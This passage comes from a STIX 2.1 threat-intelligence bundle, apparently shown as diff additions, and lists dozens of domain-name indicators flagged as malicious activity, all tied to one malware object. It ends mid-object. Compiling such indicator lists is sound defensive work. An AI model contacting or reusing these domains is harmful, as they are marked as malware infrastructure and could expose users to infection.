"relationship--a3942a54-6558-49e8-bd5b-05cb2c617660", + "created": "2023-03-29T12:58:44.078507Z", + "modified": "2023-03-29T12:58:44.078507Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab7bee1a-a1ef-40a3-8210-74ecd4730610", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e7c03c7-9d84-4064-acbb-916d39a10797", + "created": "2023-03-29T12:58:44.078675Z", + "modified": "2023-03-29T12:58:44.078675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firstonbutton.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.078675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b4b22090-3e67-4afb-8e59-42b9b7733f62", + "created": "2023-03-29T12:58:44.079272Z", + "modified": "2023-03-29T12:58:44.079272Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e7c03c7-9d84-4064-acbb-916d39a10797", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7b387c77-01aa-4c1e-bbc7-b19010f7dc3a", + "created": "2023-03-29T12:58:44.07944Z", + "modified": "2023-03-29T12:58:44.07944Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='decembercoping.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.07944Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5df3ef85-ee32-45a9-b77b-20ee163e3689", + "created": "2023-03-29T12:58:44.080046Z", + "modified": "2023-03-29T12:58:44.080046Z", + "relationship_type": "indicates", + "source_ref": "indicator--7b387c77-01aa-4c1e-bbc7-b19010f7dc3a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--edd2f27e-4480-4923-8913-f80da7b8f503", + "created": "2023-03-29T12:58:44.080216Z", + "modified": "2023-03-29T12:58:44.080216Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orangenotebook.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.080216Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c568114b-4961-4ed0-9247-657ae8143a65", + "created": "2023-03-29T12:58:44.080811Z", + "modified": "2023-03-29T12:58:44.080811Z", + "relationship_type": "indicates", + "source_ref": "indicator--edd2f27e-4480-4923-8913-f80da7b8f503", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d1279c5b-728a-4633-8dfd-06e9cec16c28", + "created": "2023-03-29T12:58:44.080985Z", + "modified": "2023-03-29T12:58:44.080985Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whoeverstimulant.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.080985Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eb5bf255-fc94-47cc-9050-72e240c0a29e", + "created": "2023-03-29T12:58:44.081595Z", + "modified": "2023-03-29T12:58:44.081595Z", + "relationship_type": "indicates", + "source_ref": "indicator--d1279c5b-728a-4633-8dfd-06e9cec16c28", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97db0869-e473-42e4-88c0-2cd2632007b9", + "created": "2023-03-29T12:58:44.081764Z", + "modified": "2023-03-29T12:58:44.081764Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='handsetoutbreak.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.081764Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26868f70-0203-4ee3-bc56-825a5ba7fc50", + "created": "2023-03-29T12:58:44.08248Z", + "modified": "2023-03-29T12:58:44.08248Z", + "relationship_type": "indicates", + "source_ref": "indicator--97db0869-e473-42e4-88c0-2cd2632007b9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9de2fca2-677d-45ea-ba20-73e81a24b9db", + "created": "2023-03-29T12:58:44.082653Z", + "modified": "2023-03-29T12:58:44.082653Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='doorpostquintuple.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.082653Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5ac39e2-1f13-4911-9b20-ced10999ff37", + "created": "2023-03-29T12:58:44.083258Z", + "modified": "2023-03-29T12:58:44.083258Z", + "relationship_type": "indicates", + "source_ref": "indicator--9de2fca2-677d-45ea-ba20-73e81a24b9db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9bb55f41-0232-4321-bdbd-df8e842b6f2c", + "created": "2023-03-29T12:58:44.083427Z", + "modified": "2023-03-29T12:58:44.083427Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flyableturmoil.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.083427Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07da6fa7-ebf1-4b0b-bcd1-3342441c79c4", + "created": "2023-03-29T12:58:44.084027Z", + "modified": "2023-03-29T12:58:44.084027Z", + "relationship_type": "indicates", + "source_ref": "indicator--9bb55f41-0232-4321-bdbd-df8e842b6f2c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b46f0fa-ebc7-4f30-95ff-e5b26f2bb9e5", + "created": "2023-03-29T12:58:44.084195Z", + "modified": "2023-03-29T12:58:44.084195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='walletpark.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.084195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1a38bfc-79a3-4dc4-8049-a17bb8ab49e2", + "created": "2023-03-29T12:58:44.084789Z", + "modified": "2023-03-29T12:58:44.084789Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b46f0fa-ebc7-4f30-95ff-e5b26f2bb9e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b149d33e-7777-40d5-a234-7ace86384799", + "created": "2023-03-29T12:58:44.084958Z", + "modified": "2023-03-29T12:58:44.084958Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='refreezeconfront.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.084958Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95422255-6def-4572-9768-5e88ad27e9bb", + "created": "2023-03-29T12:58:44.085568Z", + "modified": "2023-03-29T12:58:44.085568Z", + "relationship_type": "indicates", + "source_ref": "indicator--b149d33e-7777-40d5-a234-7ace86384799", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83af4d91-cf7a-49af-b08f-31d232c01250", + "created": "2023-03-29T12:58:44.085737Z", + "modified": "2023-03-29T12:58:44.085737Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goonthesis.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.085737Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebf9c05d-8537-4cfe-8e22-1015ac1fe9b8", + "created": "2023-03-29T12:58:44.086331Z", + "modified": "2023-03-29T12:58:44.086331Z", + "relationship_type": "indicates", + "source_ref": "indicator--83af4d91-cf7a-49af-b08f-31d232c01250", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--33c597a6-01f0-4680-93a6-fcec22dcfccf", + "created": "2023-03-29T12:58:44.086498Z", + "modified": "2023-03-29T12:58:44.086498Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sexteynyardful.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.086498Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acca5500-4551-4e12-a6ae-73dbc4619926", + "created": "2023-03-29T12:58:44.087098Z", + "modified": "2023-03-29T12:58:44.087098Z", + "relationship_type": "indicates", + "source_ref": "indicator--33c597a6-01f0-4680-93a6-fcec22dcfccf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7061ea23-9d5c-4ba3-8122-55f1a2673392", + "created": "2023-03-29T12:58:44.087269Z", + "modified": "2023-03-29T12:58:44.087269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='woofdarkened.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.087269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e935e7d-5ce9-46f1-a968-3b3d48e587fa", + "created": "2023-03-29T12:58:44.087876Z", + "modified": "2023-03-29T12:58:44.087876Z", + "relationship_type": "indicates", + "source_ref": "indicator--7061ea23-9d5c-4ba3-8122-55f1a2673392", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bbbe0ec8-bb5e-467d-b7ef-5fdc88276329", + "created": "2023-03-29T12:58:44.088046Z", + "modified": "2023-03-29T12:58:44.088046Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='electrifalse.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.088046Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18f70e1f-16a8-445c-9469-05d42bd0032f", + "created": "2023-03-29T12:58:44.088653Z", + "modified": "2023-03-29T12:58:44.088653Z", + "relationship_type": "indicates", + "source_ref": "indicator--bbbe0ec8-bb5e-467d-b7ef-5fdc88276329", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f638a52b-b34a-4a75-a664-81da2dcdfbcd", + "created": "2023-03-29T12:58:44.088822Z", + "modified": "2023-03-29T12:58:44.088822Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='merdek.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.088822Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--903aec38-0540-4e80-9ab1-7c074d130cf1", + "created": "2023-03-29T12:58:44.089566Z", + "modified": "2023-03-29T12:58:44.089566Z", + "relationship_type": "indicates", + "source_ref": "indicator--f638a52b-b34a-4a75-a664-81da2dcdfbcd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--45af30b9-c3b4-4c8c-9450-791ec6a6c2f4", + "created": "2023-03-29T12:58:44.089741Z", + "modified": "2023-03-29T12:58:44.089741Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stickcart.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.089741Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec81b47b-5ffe-4430-804a-39e9b1a87a5c", + "created": "2023-03-29T12:58:44.09034Z", + "modified": "2023-03-29T12:58:44.09034Z", + "relationship_type": "indicates", + "source_ref": "indicator--45af30b9-c3b4-4c8c-9450-791ec6a6c2f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9c8cc221-d57a-46ef-8298-d755cfca2be0", + "created": "2023-03-29T12:58:44.09051Z", + "modified": "2023-03-29T12:58:44.09051Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safelyimmunity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.09051Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16fef6f8-5d35-44d0-ab5f-589e698e39dd", + "created": "2023-03-29T12:58:44.091143Z", + "modified": "2023-03-29T12:58:44.091143Z", + "relationship_type": "indicates", + "source_ref": "indicator--9c8cc221-d57a-46ef-8298-d755cfca2be0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b5381211-bbc2-45f7-b256-b8e55bd7114f", + "created": "2023-03-29T12:58:44.091334Z", + "modified": "2023-03-29T12:58:44.091334Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='runningdownthehill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.091334Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6301e9e5-c46b-46ea-83c5-86b43916f15a", + "created": "2023-03-29T12:58:44.091944Z", + "modified": "2023-03-29T12:58:44.091944Z", + "relationship_type": "indicates", + "source_ref": "indicator--b5381211-bbc2-45f7-b256-b8e55bd7114f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1dab8cb-ec9f-4297-bbec-da668155a9e3", + "created": "2023-03-29T12:58:44.092115Z", + "modified": "2023-03-29T12:58:44.092115Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parkingbird.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.092115Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eb27114c-9cac-4da5-a16e-f92e88c83ced", + "created": "2023-03-29T12:58:44.09271Z", + "modified": "2023-03-29T12:58:44.09271Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1dab8cb-ec9f-4297-bbec-da668155a9e3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc765f33-51e6-4cd3-a75f-5ee5cd3c7355", + "created": "2023-03-29T12:58:44.092877Z", + "modified": "2023-03-29T12:58:44.092877Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='footbathhusband.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.092877Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--535d9d77-2378-420a-8c73-7f58f6a26ae7", + "created": "2023-03-29T12:58:44.093525Z", + "modified": "2023-03-29T12:58:44.093525Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc765f33-51e6-4cd3-a75f-5ee5cd3c7355", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fec77ab3-1970-464e-86bc-1273db03f2ba", + "created": "2023-03-29T12:58:44.093706Z", + "modified": "2023-03-29T12:58:44.093706Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='salsadipizza.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.093706Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8538ff6-472b-43e5-b3ed-393c887f4d6a", + "created": "2023-03-29T12:58:44.09431Z", + "modified": "2023-03-29T12:58:44.09431Z", + "relationship_type": "indicates", + "source_ref": "indicator--fec77ab3-1970-464e-86bc-1273db03f2ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b54fbc78-72db-4354-bf46-7f6b095b9d11", + "created": "2023-03-29T12:58:44.094479Z", + "modified": "2023-03-29T12:58:44.094479Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stopminus.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.094479Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d381635b-0738-4ddc-b27c-863340881925", + "created": "2023-03-29T12:58:44.095077Z", + "modified": "2023-03-29T12:58:44.095077Z", + "relationship_type": "indicates", + "source_ref": "indicator--b54fbc78-72db-4354-bf46-7f6b095b9d11", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ff36363-27a8-48c9-af56-a914c78b3e40", + "created": "2023-03-29T12:58:44.095247Z", + "modified": "2023-03-29T12:58:44.095247Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='throwingendurance.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.095247Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9709fb51-7a3d-440e-a347-a2bcc9f4529d", + "created": "2023-03-29T12:58:44.095852Z", + "modified": "2023-03-29T12:58:44.095852Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ff36363-27a8-48c9-af56-a914c78b3e40", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3cbf7338-2014-4337-9139-9f8b4350efbd", + "created": "2023-03-29T12:58:44.096023Z", + "modified": "2023-03-29T12:58:44.096023Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='earringskinhead.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.096023Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9182bb74-f589-4b12-be35-64cfa4cf2cc3", + "created": "2023-03-29T12:58:44.097014Z", + "modified": "2023-03-29T12:58:44.097014Z", + "relationship_type": "indicates", + "source_ref": "indicator--3cbf7338-2014-4337-9139-9f8b4350efbd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e5840a3-c2be-4d92-b289-dcb31feca9c4", + "created": "2023-03-29T12:58:44.097189Z", + "modified": "2023-03-29T12:58:44.097189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dramatizewildness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.097189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ff96e32a-4daa-4a8f-a60c-c2b1e18c36a4", + "created": "2023-03-29T12:58:44.097803Z", + "modified": "2023-03-29T12:58:44.097803Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e5840a3-c2be-4d92-b289-dcb31feca9c4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2938ea5b-23f0-4ff7-aae2-317bec502c2f", + "created": "2023-03-29T12:58:44.097974Z", + "modified": "2023-03-29T12:58:44.097974Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curledwire.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.097974Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa6e845e-7959-46a0-be81-8a00641485ca", + "created": "2023-03-29T12:58:44.09857Z", + "modified": "2023-03-29T12:58:44.09857Z", + "relationship_type": "indicates", + "source_ref": "indicator--2938ea5b-23f0-4ff7-aae2-317bec502c2f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ab1cb4e-01fb-4ad0-bae3-b7c1e06fe2a9", + "created": "2023-03-29T12:58:44.098741Z", + "modified": "2023-03-29T12:58:44.098741Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crawfishalive.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.098741Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f25c769c-f293-4265-9976-f98816fd4108", + "created": "2023-03-29T12:58:44.099339Z", + "modified": "2023-03-29T12:58:44.099339Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ab1cb4e-01fb-4ad0-bae3-b7c1e06fe2a9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1fcc95d-e08a-4455-8a4b-e0d5fac20947", + "created": "2023-03-29T12:58:44.099508Z", + "modified": "2023-03-29T12:58:44.099508Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dulleritinerary.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.099508Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2b17b2cb-c9db-4f89-82e0-6f10abbe80c1", + "created": "2023-03-29T12:58:44.100109Z", + "modified": "2023-03-29T12:58:44.100109Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1fcc95d-e08a-4455-8a4b-e0d5fac20947", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ccf85142-162d-4b16-a39a-b088c8b5abf2", + "created": "2023-03-29T12:58:44.100279Z", + "modified": "2023-03-29T12:58:44.100279Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='frightfulbonehead.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.100279Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--06172e81-fdc2-49cc-881b-e20afef52405", + "created": "2023-03-29T12:58:44.100882Z", + "modified": "2023-03-29T12:58:44.100882Z", + "relationship_type": "indicates", + "source_ref": "indicator--ccf85142-162d-4b16-a39a-b088c8b5abf2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9cc2c787-48af-40a7-bf1c-4be9ee7df3e9", + "created": "2023-03-29T12:58:44.101061Z", + "modified": "2023-03-29T12:58:44.101061Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plusmenworld.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.101061Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afdf1d7f-803b-4354-8244-759c899ad3d8", + "created": "2023-03-29T12:58:44.101668Z", + "modified": "2023-03-29T12:58:44.101668Z", + "relationship_type": "indicates", + "source_ref": "indicator--9cc2c787-48af-40a7-bf1c-4be9ee7df3e9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--250259b8-9c14-4499-985f-4a5d856f10ba", + "created": "2023-03-29T12:58:44.101839Z", + "modified": "2023-03-29T12:58:44.101839Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='badgecoexist.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.101839Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83a1a1ab-2488-4e84-9521-0bfb16467cfd", + "created": "2023-03-29T12:58:44.102451Z", + "modified": "2023-03-29T12:58:44.102451Z", + "relationship_type": "indicates", + "source_ref": "indicator--250259b8-9c14-4499-985f-4a5d856f10ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2f0f7ef-2a87-4fd6-8791-d87abd0b5a6b", + "created": "2023-03-29T12:58:44.102626Z", + "modified": "2023-03-29T12:58:44.102626Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skirtyen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.102626Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17703cce-bf27-42a3-a11f-30f34e5ea4eb", + "created": "2023-03-29T12:58:44.103239Z", + "modified": "2023-03-29T12:58:44.103239Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2f0f7ef-2a87-4fd6-8791-d87abd0b5a6b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7e16d06-f945-4337-bcf2-d98dd1e07fb7", + "created": "2023-03-29T12:58:44.103411Z", + "modified": "2023-03-29T12:58:44.103411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='beachplay.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.103411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7b97edb-fe36-4eca-b491-b1f720fe76af", + "created": "2023-03-29T12:58:44.104003Z", + "modified": "2023-03-29T12:58:44.104003Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7e16d06-f945-4337-bcf2-d98dd1e07fb7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a617e2bf-2c44-4ce2-86db-6b0da08abcb6", + "created": "2023-03-29T12:58:44.104172Z", + "modified": "2023-03-29T12:58:44.104172Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surroundunashamed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.104172Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4effd998-a2a6-4d27-b360-6b2e489f07a1", + "created": "2023-03-29T12:58:44.104896Z", + "modified": "2023-03-29T12:58:44.104896Z", + "relationship_type": "indicates", + "source_ref": "indicator--a617e2bf-2c44-4ce2-86db-6b0da08abcb6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--927aac7b-143f-4590-b9fa-ad4f7ff13479", + "created": "2023-03-29T12:58:44.105069Z", + "modified": "2023-03-29T12:58:44.105069Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='destituterundown.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.105069Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e20bd3c-f1f1-4552-ba17-dbd649de1ae0", + "created": "2023-03-29T12:58:44.105684Z", + "modified": "2023-03-29T12:58:44.105684Z", + "relationship_type": "indicates", + "source_ref": "indicator--927aac7b-143f-4590-b9fa-ad4f7ff13479", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d73e461-717e-47de-9eaa-62166b8d0abf", + "created": "2023-03-29T12:58:44.105856Z", + "modified": "2023-03-29T12:58:44.105856Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flyingbuyer.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.105856Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--166cdcfe-1366-4cfb-b84e-7cf231ee05a3", + "created": "2023-03-29T12:58:44.106454Z", + "modified": "2023-03-29T12:58:44.106454Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d73e461-717e-47de-9eaa-62166b8d0abf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12944e44-a6b6-4ba1-8cce-fead60dff66d", + "created": "2023-03-29T12:58:44.106623Z", + "modified": "2023-03-29T12:58:44.106623Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boneheadwrought.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.106623Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a541ecc0-f341-4614-bc38-56bead86b635", + "created": "2023-03-29T12:58:44.107225Z", + "modified": "2023-03-29T12:58:44.107225Z", + "relationship_type": "indicates", + "source_ref": "indicator--12944e44-a6b6-4ba1-8cce-fead60dff66d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cc7163ed-3f72-449d-a25a-b1898c9cfc94", + "created": "2023-03-29T12:58:44.107393Z", + "modified": "2023-03-29T12:58:44.107393Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": 